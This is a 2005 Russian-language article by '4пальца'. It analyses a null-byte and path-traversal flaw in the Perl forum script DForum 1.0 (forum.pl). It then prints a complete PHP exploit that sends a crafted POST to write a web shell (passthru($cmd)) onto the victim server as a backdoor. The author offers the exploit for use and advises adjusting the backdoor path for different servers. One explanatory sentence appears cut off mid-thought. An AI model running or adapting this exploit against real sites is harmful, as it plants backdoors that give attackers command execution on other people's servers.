|
4пальца Опубликовано: dl, 15.05.05 19:29 Удивительное дело, сообщество вебмастеров в интернете на редкость консервативно. Многие скрипты, которые были созданы в конце девяностых, до сих пор находят себе применение на самых разных сайтах. А старые скрипты - это старые болячки, как я писал в одной из статей. Попался мне очередной кладезь программистской мудрости, DForum 1.0, автор которого уже свернул свой веб-сайт, видимо, исчерпав свой талант на означенном творении. Заглянул я в код форума, forum.pl, и повеяло на меня какой-то прелостью... Меня заинтересовал процесс добавления сообщений. Скрипт складывает их в папку forumdata в виде отдельных файлов. Добавление сообщений происходит в два этапа. На первом этапе пользователь заполняет поля добавления сообщения, на втором происходит предпросмотр, а введённые данные, соответственно, содержатся в странице в виде скрытых полей. Главный просчёт разработчика в том, что скрипт на первом этапе вычисляет текущую дату и записывает её в виде скрытого поля, используя потом в имени файла сообщения. Хотя, замечу интересующимся, это не единственный просчёт:) Итак, скрипт записывает сообщение. После инициализации хэш-массива входных переменных $in мы попадаем в функцию postMessage.
$name = $in{'name'};
$email = $in{'email'};
$date = $in{'date'};
$headerfile = $in{'headerfile'};
$reply = $in{'reply'};
Далее следует кое-какая фильтрация ввода, относящаяся к теме сообщения и его тексту. Предположим, что переменная $in{'post'} в данный момент равна thread. Тогда последует вызов функции postThread и начнётся самое интересное. После неинтересных нам обновлений счётчика и базы месяцев для архива мы видим то, что должно спровоцировать любого хакера:
open(HEADER,">$forumdir/$headerfile.txt");
unshift (@headers, "$num\_$subject\_$name\_$date\_0\n");
foreach $headerline (@headers) {
print HEADER $headerline;
}
close(HEADER);
Напомню, что у языка Perl есть особенность не переваривать машинный нуль. При попадании 0x00 в имя файла для выполнения над ним операций, строка ровно на этом символе и "откусывается". Это связано с реализацией языка на Си, который с этим символом так же не в ладах. Такое положение дел означает, поскольку фильтрация на переменную $headerfile отсутствует,
То есть, мы можем в какую-нибудь из нефильтруемых переменных поместить наш PHP-код и уповая на определённые настройки веб-сервера рассчитывать на выполнение нашего скрипта на сервере. Далее привожу свой exploit этой уязвимости. Он позволяет установить backdoor с произвольным кодом на сервер жертвы. Настройками являются хост и порт сервера жертвы, виртуальный путь к скрипту форума и относительный путь к backdoor. Рекомендую поварьировать последнюю переменную, поскольку пути на серверах к папке с сообщениями forumdata очень разнятся. При стандартных настройках уровень вложенности для пути к бэкдору должен быть на два выше виртуального пути к скрипту (чтобы выйти за пределы папки cgi-bin, которая требует для выполнения легальных путей к интерпретатору).
<?
$host="127.0.0.1";
$pathtoscript="/cgi-bin/dforum/forum.pl";
$port ="80";
$backdoorfilename="../../../../forum.php";
$backdoorcode=
'
<pre>
<?
echo passthru($cmd);
?>
</pre>
';
// -------------------------------------------------
$sock = fsockopen($host, $port);
$code = "date=PUSTO&headerfile=${backdoorfilename}%00%00".
"&name=".urlencode($backdoorcode)."&email=&subject=PUSTO&body=PUSTO&post=thread";
// в файл запишется: "$num\_$subject\_$name\_$date\_0\n"
$sizecode=strlen($code);
$send =
"POST ${pathtoscript} HTTP/1.1
User-Agent: NBP
Host: ${host}:${port}
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: ${sizecode}
${code}";
fputs($sock, $send);
$ispage=0;
while($input = fgets($sock))
{
echo $input;
}
//echo $send;
fclose($sock);
?>
12.05.2005
4пальца
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|